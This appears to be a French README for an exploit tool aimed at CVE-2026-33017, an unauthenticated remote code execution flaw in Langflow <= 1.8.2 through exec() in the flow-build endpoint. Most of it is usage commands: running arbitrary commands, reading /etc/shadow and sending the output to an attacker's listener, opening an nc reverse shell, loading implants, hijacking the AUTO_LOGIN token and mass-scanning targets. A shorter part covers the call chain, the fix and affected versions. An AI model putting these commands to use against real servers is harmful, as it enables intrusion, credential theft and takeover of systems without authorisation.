
Exploit pour CVE-2026-33017 — RCE non authentifié dans Langflow <= 1.8.2 via exec() dans le point de terminaison de construction de flux
_____
/ \
| () () |
\ ^ /
|||||
exec() sans authentification, sans sandbox, sans espoir.
Langflow <= 1.8.2 permet l'exécution de code à distance non authentifiée via le point de terminaison POST /api/v1/build_public_tmp/{flow_id}/flow. Les données de flux fournies par l'attaquant contenant du Python arbitraire dans les définitions de nœuds sont transmises directement à exec() sans aucun sandboxing.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> le code arbitraire s'exécute avec le processus serveur. game over.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# Terminal 1 : démarrer l'écouteur
python3 -m http.server 8080
# Terminal 2 : lancer l'exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# Décodez le base64 depuis les journaux de votre écouteur :
echo "dWlkPTEwMDAo..." | base64 -d
# Terminal 1 : démarrer l'écouteur
nc -l 8080
# Terminal 2 : lancer l'exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# La sortie brute arrive directement dans le corps de la requête POST - aucun décodage nécessaire
# Terminal 1 : démarrer l'écouteur
nc -l 4444
# Terminal 2 : lancer l'exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
Règles pour le fichier de charge utile :
exec() dans prepare_global_scope()_x = os.popen(...).read()) car le filtre AST n'exécute que les nœuds Assign, FunctionDef, ClassDefthreading.Thread(daemon=True) pour éviter de tuer la boucle d'événements asynchroneLorsqu'aucun flux PUBLIC n'existe mais que AUTO_LOGIN est activé (par défaut dans de nombreux déploiements) :
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
Cela détourne le jeton AUTO_LOGIN, applique un PATCH sur le premier flux pour le passer en PUBLIC, puis l'exploite.
Analyser plusieurs cibles à partir d'un fichier (vérification de vulnérabilité uniquement) :
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
Format de targets.txt :
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# les commentaires sont ignorés
La sortie affiche :
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version pour identifier la cibleCustomComponent contenant du Python malveillant dans le champ code/api/v1/build_public_tmp/{flow_id}/flow avec le paramètre data falsifié. Langflow compile le graphe, ce qui appelle create_class() -> prepare_global_scope() -> exec() sur le code de l'attaquantLe correctif dans v1.9.0 supprime entièrement le paramètre data, forçant le point de terminaison à n'utiliser que les données de flux stockées dans la base de données.
Cet outil est destiné uniquement à la recherche en sécurité autorisée. Ne l'utilisez que contre des systèmes pour lesquels vous avez une autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation.
| Version | Statut |
|---|
| <= 1.8.1 | Vulnérable |
| 1.8.2 | Correctif revendiqué dans le journal des modifications mais le code n'a jamais été modifié (confirmé par JFrog) |
| 1.9.0-dev0 à dev11 | Toujours vulnérable |
| 1.9.0 | Réellement corrigé - paramètre data supprimé du point de terminaison |